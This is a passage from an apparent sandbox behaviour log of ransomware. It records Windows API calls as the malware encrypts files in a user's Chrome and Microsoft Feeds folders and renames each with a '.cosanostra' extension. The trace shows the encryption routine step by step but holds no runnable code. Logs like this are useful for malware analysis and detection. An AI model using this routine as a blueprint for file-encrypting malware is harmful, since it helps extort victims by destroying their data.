lpOverlapped=0x0 | out: lpBuffer=0x26ff894*, lpNumberOfBytesWritten=0x26ff854*=0x4, lpOverlapped=0x0) returned 1 [0087.619] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff854, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff854*=0x30, lpOverlapped=0x0) returned 1 [0087.619] CloseHandle (hObject=0x154) returned 1 [0087.627] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons.cosanostra")) returned 1 [0087.657] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff890 | out: pbBuffer=0x26ff890) returned 1 [0087.657] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff888*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff888*=0x30) returned 1 [0087.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.657] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 98 [0087.657] StrStrW (lpFirst="Secure Preferences", lpSrch=".txt") returned 0x0 [0087.660] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.660] WriteFile (in: hFile=0x18c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff84c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff84c*=0x2800, lpOverlapped=0x0) returned 1 [0087.661] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.661] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff88c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff84c, lpOverlapped=0x0 | out: lpBuffer=0x26ff88c*, lpNumberOfBytesWritten=0x26ff84c*=0x4, lpOverlapped=0x0) returned 1 [0087.661] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff84c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff84c*=0x30, lpOverlapped=0x0) returned 1 [0087.661] CloseHandle (hObject=0x18c) returned 1 [0087.661] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences.cosanostra")) returned 1 [0087.662] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff890 | out: pbBuffer=0x26ff890) returned 1 [0087.662] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff888*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff888*=0x30) returned 1 [0087.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.663] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 86 [0087.663] StrStrW (lpFirst="README", lpSrch=".txt") returned 0x0 [0087.664] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.664] WriteFile (in: hFile=0x18c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x26ff84c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff84c*=0xb4, lpOverlapped=0x0) returned 1 [0087.664] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.664] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff88c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff84c, lpOverlapped=0x0 | out: lpBuffer=0x26ff88c*, lpNumberOfBytesWritten=0x26ff84c*=0x4, lpOverlapped=0x0) returned 1 [0087.665] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff84c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff84c*=0x30, lpOverlapped=0x0) returned 1 [0087.665] CloseHandle (hObject=0x18c) returned 1 [0087.665] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme.cosanostra")) returned 1 [0087.666] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff888 | out: pbBuffer=0x26ff888) returned 1 [0087.666] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff880*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff880*=0x30) returned 1 [0087.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.666] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 100 [0087.666] StrStrW (lpFirst="QuotaManager-journal", lpSrch=".txt") returned 0x0 [0087.666] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.666] WriteFile (in: hFile=0x18c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff844, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff844*=0x0, lpOverlapped=0x0) returned 1 [0087.666] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.666] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff884*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff844, lpOverlapped=0x0 | out: lpBuffer=0x26ff884*, lpNumberOfBytesWritten=0x26ff844*=0x4, lpOverlapped=0x0) returned 1 [0087.667] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff844, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff844*=0x30, lpOverlapped=0x0) returned 1 [0087.667] CloseHandle (hObject=0x18c) returned 1 [0087.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal.cosanostra")) returned 1 [0087.668] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff888 | out: pbBuffer=0x26ff888) returned 1 [0087.668] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff880*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff880*=0x30) returned 1 [0087.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.669] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 99 [0087.669] StrStrW (lpFirst="previews_opt_out.db", lpSrch=".txt") returned 0x0 [0087.747] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.747] WriteFile (in: hFile=0x18c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff844, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff844*=0x2800, lpOverlapped=0x0) returned 1 [0087.748] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.748] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff884*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff844, lpOverlapped=0x0 | out: lpBuffer=0x26ff884*, lpNumberOfBytesWritten=0x26ff844*=0x4, lpOverlapped=0x0) returned 1 [0087.748] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff844, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff844*=0x30, lpOverlapped=0x0) returned 1 [0087.748] CloseHandle (hObject=0x18c) returned 1 [0087.770] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.cosanostra")) returned 1 [0087.803] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff878 | out: pbBuffer=0x26ff878) returned 1 [0087.803] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff870*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff870*=0x30) returned 1 [0087.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0087.803] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 105 [0087.803] StrStrW (lpFirst="Safe Browsing Channel IDs-journal", lpSrch=".txt") returned 0x0 [0087.804] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.804] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff834, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff834*=0x0, lpOverlapped=0x0) returned 1 [0087.804] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.804] WriteFile (in: hFile=0x174, lpBuffer=0x26ff874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff834, lpOverlapped=0x0 | out: lpBuffer=0x26ff874*, lpNumberOfBytesWritten=0x26ff834*=0x4, lpOverlapped=0x0) returned 1 [0087.804] WriteFile (in: hFile=0x174, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff834, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff834*=0x30, lpOverlapped=0x0) returned 1 [0087.805] CloseHandle (hObject=0x174) returned 1 [0087.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids-journal.cosanostra")) returned 1 [0087.805] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff878 | out: pbBuffer=0x26ff878) returned 1 [0087.805] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff870*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff870*=0x30) returned 1 [0087.805] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0087.806] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 97 [0087.806] StrStrW (lpFirst="Safe Browsing Channel IDs", lpSrch=".txt") returned 0x0 [0087.850] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffec00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.850] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x26ff834, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff834*=0x1400, lpOverlapped=0x0) returned 1 [0087.851] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.851] WriteFile (in: hFile=0x174, lpBuffer=0x26ff874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff834, lpOverlapped=0x0 | out: lpBuffer=0x26ff874*, lpNumberOfBytesWritten=0x26ff834*=0x4, lpOverlapped=0x0) returned 1 [0087.851] WriteFile (in: hFile=0x174, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff834, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff834*=0x30, lpOverlapped=0x0) returned 1 [0087.851] CloseHandle (hObject=0x174) returned 1 [0087.851] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids.cosanostra")) returned 1 [0087.852] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff870 | out: pbBuffer=0x26ff870) returned 1 [0087.852] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff868*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff868*=0x30) returned 1 [0087.852] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0087.854] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 85 [0087.854] StrStrW (lpFirst="FeedsStore.feedsdb-ms", lpSrch=".txt") returned 0x0 [0087.900] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffe600, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.900] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x26ff82c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff82c*=0x1a00, lpOverlapped=0x0) returned 1 [0087.901] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.901] WriteFile (in: hFile=0x174, lpBuffer=0x26ff86c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff82c, lpOverlapped=0x0 | out: lpBuffer=0x26ff86c*, lpNumberOfBytesWritten=0x26ff82c*=0x4, lpOverlapped=0x0) returned 1 [0087.901] WriteFile (in: hFile=0x174, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff82c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff82c*=0x30, lpOverlapped=0x0) returned 1 [0087.901] CloseHandle (hObject=0x174) returned 1 [0087.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.cosanostra")) returned 1 [0087.903] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff870 | out: pbBuffer=0x26ff870) returned 1 [0087.903] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff868*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff868*=0x30) returned 1 [0087.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.908] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff868 | out: pbBuffer=0x26ff868) returned 1 [0087.908] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff860*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff860*=0x30) returned 1 [0087.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.909] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 88 [0087.909] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0087.909] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.909] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff824, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff824*=0x0, lpOverlapped=0x0) returned 1 [0087.909] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.909] WriteFile (in: hFile=0x190, lpBuffer=0x26ff864*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff824, lpOverlapped=0x0 | out: lpBuffer=0x26ff864*, lpNumberOfBytesWritten=0x26ff824*=0x4, lpOverlapped=0x0) returned 1 [0087.910] WriteFile (in: hFile=0x190, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff824, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff824*=0x30, lpOverlapped=0x0) returned 1 [0087.910] CloseHandle (hObject=0x190) returned 1 [0087.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].cosanostra")) returned 1 [0087.911] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff860 | out: pbBuffer=0x26ff860) returned 1 [0087.911] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff858*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff858*=0x30) returned 1 [0087.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.912] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini") returned 90 [0087.912] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0087.913] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.913] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26ff81c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff81c*=0x43, lpOverlapped=0x0) returned 1 [0087.913] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.913] WriteFile (in: hFile=0x190, lpBuffer=0x26ff85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff81c, lpOverlapped=0x0 | out: lpBuffer=0x26ff85c*, lpNumberOfBytesWritten=0x26ff81c*=0x4, lpOverlapped=0x0) returned 1 [0087.913] WriteFile (in: hFile=0x190, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff81c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff81c*=0x30, lpOverlapped=0x0) returned 1 [0087.914] CloseHandle (hObject=0x190) returned 1 [0087.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" 